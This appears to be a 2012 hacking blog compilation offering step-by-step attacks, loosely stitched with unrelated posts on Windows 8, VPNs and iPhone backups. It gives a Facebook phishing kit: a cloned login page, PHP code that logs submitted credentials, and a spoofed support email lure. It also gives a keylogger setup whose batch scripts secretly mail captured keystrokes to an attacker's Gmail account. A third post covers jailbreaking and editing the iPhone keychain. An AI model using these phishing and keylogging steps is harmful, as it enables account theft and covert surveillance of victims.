How To Hack Facebook Account | Phishing

max_hacker — Mon, 30 Jan 2012 19:10:22 GMT

In this tutorial we will discus how you can hack Facbook account password by phishing. Phishing is act of creating a replica of legitimate website for stealing passwords and credit card numbers etc. Here I will show you how you can create replica of facebook log-in page and then fool your victim to put his username and password in it so that you can get his account password
.

First of all open www.facebook.com in your web browser, from "file” menu select "save as” and type "Facebook” in file name and select "web page complete” from save as menu. Once done you will have a file named "Facebook.html” and a folder named "Facebook_files”. Folder will have several files in it, let them as it is and open Facebook.html in notepad or word-pad. From edit menu select find, type action in it and locate following string.

action="https://www.facebook.com/login.php?login_attempt=1"

Now replace this string with

action= "mail.php”

Now open notepad type following code in it and create mail.php.

Code:

header ('Location: https://www.facebook.com/login.php?login_attempt=1 ');

$handle = fopen("log.txt", "a");

foreach($_POST as $variable => $value) {

fwrite($handle, $variable);

fwrite($handle, "=");

fwrite($handle, $value);

fwrite($handle, "\r\n");

}

fwrite($handle, "\r\n");

fclose($handle);

exit;

Now save it as mail.php and create an empty log.txt file. Now you'll need a free web hosting service that supports PHP. Go to http://www.100best-free-web-space.com/ and select service and plan that suits you. Now in root folder of your website createFacebook_files folder and upload all files in Facebook_files of your hard disk to it. Come back to root folder and upload Facebook.html, mail.php and log.txt in it. Change permission for log.txt that it can be seen by administrator only. Once done make Facebook.html your index page and make site live.

Now sign up with http://www.hoaxmail.co.uk/ it provides spoofed email service. Now create a message from support@facebook.com to your victim.

Sub: Invalid activity on your facebook account

Body:

Dear facebook user (victim's facebook user name),

Recently we saw some suspicious activity on your account, we suspect it as a malicious script. As a valuable user to us we understand this might be system error, if the activity is not generated by you then please log-in to your account by following link,

Failing to log-in within next 48 hours Facebook holds right to suspend your account for sake of privacy of you and others. By logging in you'll confirm it is system error and we will fix it in no time. Your inconvenience is regretted. Thank you.

support@facebook.com,

Facebook, Inc,

1601 S.California Ave

Palo Alto CA 94394

If your victim is not security focused, he/she will surely fall prey to it. And will log-in using phished site handing you his password in log.txt file. Pleas note that you must use that email id of victim which he/she uses to log in facebook. If you are in his/her friend list then click on information tab to know log-in email ID.

Countermeasure:

You must not reply any message from facebook may it be legitimate or not by clicking on any links that appear in mail box. Better whenever you receive any mail of this type report it to facebook.com by logging via typing www.facebook.com in your web browser.

Alrighty, so Microsoft recently released Windows 8 Developer Preview to developers (and the public). It contains new features like the MetroUI and other stuff. Since you may not want to install it on your PC, I created a VMware image which will let you use they system without having to natively install it. Should work perfectly. The best part is it’s a smaller download than the actual installation .iso’s! :p

Keylogging Made Easy

max_hacker — Fri, 13 Jan 2012 18:46:29 GMT

You will need klogger from:
http://ntsecurity.nu/toolbox/klogger/
You will need a gmail account.
You will need blat from:
http://sourceforge.net/project/showfiles…p_id=81910
And Nircmd:
http://www.nirsoft.net/utils/nircmd.html
Ok put everything in a single directory on a flash drive, or a cd. Just a directory you can drag onto the target computer.
You should have blat.dll blat.exe blat.obj klogger and nircmd.
Ok now we are going to make two .bat files.
One is start.bat and the executable for the program:
nircmd.exe execmd CALL klogger
nircmd.exe execmd CALL go.bat
The next one is go.bat and you will need to do some editing to it.
goto THREE
:THREE
ping 127.0.0.1 -n 100 -w 1000> nul
REM the ping acts as a wait
Blat klogger.txt -to bsdpunk@gmail.com -u bsdpunk@gmail.com -p password -f
bsdpunk@gmail.com -server gsmtp183.google.com
REM Please donÃƒÂ¢Ã¢â€šÂ¬Ã¢â€žÂ¢t use my email address use your own and your own password etc.
goto THREE
You should now have blat.dll blat.exe blat.obj go.bat klogger nircmd and start.bat.
Just drag your folder with these files to the target computer and run start.bat.

Mega Post VPN Downloads & Proxy Servers

max_hacker — Fri, 13 Jan 2012 18:40:25 GMT

What is a VPN?
VPN stands for virtual private network. A VPN keeps your wireless communications safe by creating a secure "tunnel,” though which your encrypted data travels. These tunnels cannot be entered by data that is not properly encrypted. Not only is data encrypted when you use a VPN, but the originating and receiving network addresses are also encrypted. This adds an extra layer of security.

What is a proxy?
Proxy sites enable you to bypass your own Internet provider and browse through the proxy web site. All that you have to do is type the web site address you would like to visit in the form they provide, and start browsing. Once you keep browsing using that form, you are protected and your real IP address is not being logged.

Remove Lost iPhone Backup Password

max_hacker — Fri, 13 Jan 2012 18:37:04 GMT
Lets say that at some point you decided to adhere to security best practices and set a password on your iPhone backups so that they are encrypted. A year or two later you have upgraded your iPhone to a new version and you want to transfer all of your data across to the new phone. You attempt to restore from your backup and, doh, you need to remember the password you set. You try every password you could have set but none of them work. You try to remove the "Encrypt iPhone Backup" option so that you can create a backup without a password, but again it asks you for the password to disable the password.

Here is a hack that will let you disable your encrypted backups without the password so that you can create an unencrypted version to use to transfer your data across to your new phone:

1. Jailbreak your device. The easiest way to do this is via www.jailbreakme.com, or if you have a more specific set of requirements then use Redsn0w or PwnageTool. This will install the hacked AppStore called Cydia.

2. Use Cydia to install OpenSSH and SQLite3

3. Connect your iPhone to a wireless network and ssh to it using Apple's default root password of "alpine"

4. We want to manipulate the keychains that basically store your saved encrypted passwords. Run "cd /var/Keychains" and you will find the keychains SQLite database called "keychain-2.db".

5. Connect to the keychain database by running the command "sqlite3 keychain-2.db"

6. Dump the contents of the table called "genp" by typing the following into the SQLite command prompt "select * from genp;"

7. Find the row containing the text "BackupPassword"

8. Get the RowID from the start of this line. Mine was "29"

9. Delete this row by typing the following into the SQLite command prompt "delete from genp where rowid = 29;" (remember to change 29 to be your own RowID)

10. Plug your iPhone into iTunes, where it will show that you still have a backup password enabled. Deselect the "Encrypt iPhone Backup" option.

11. This will ask you for your password, but don't fret! Type arbitrary text in as your password and hit ok.

At this point your password will be accepted, your backup encryption option will be disabled, and your phone will start backing up unencrypted.
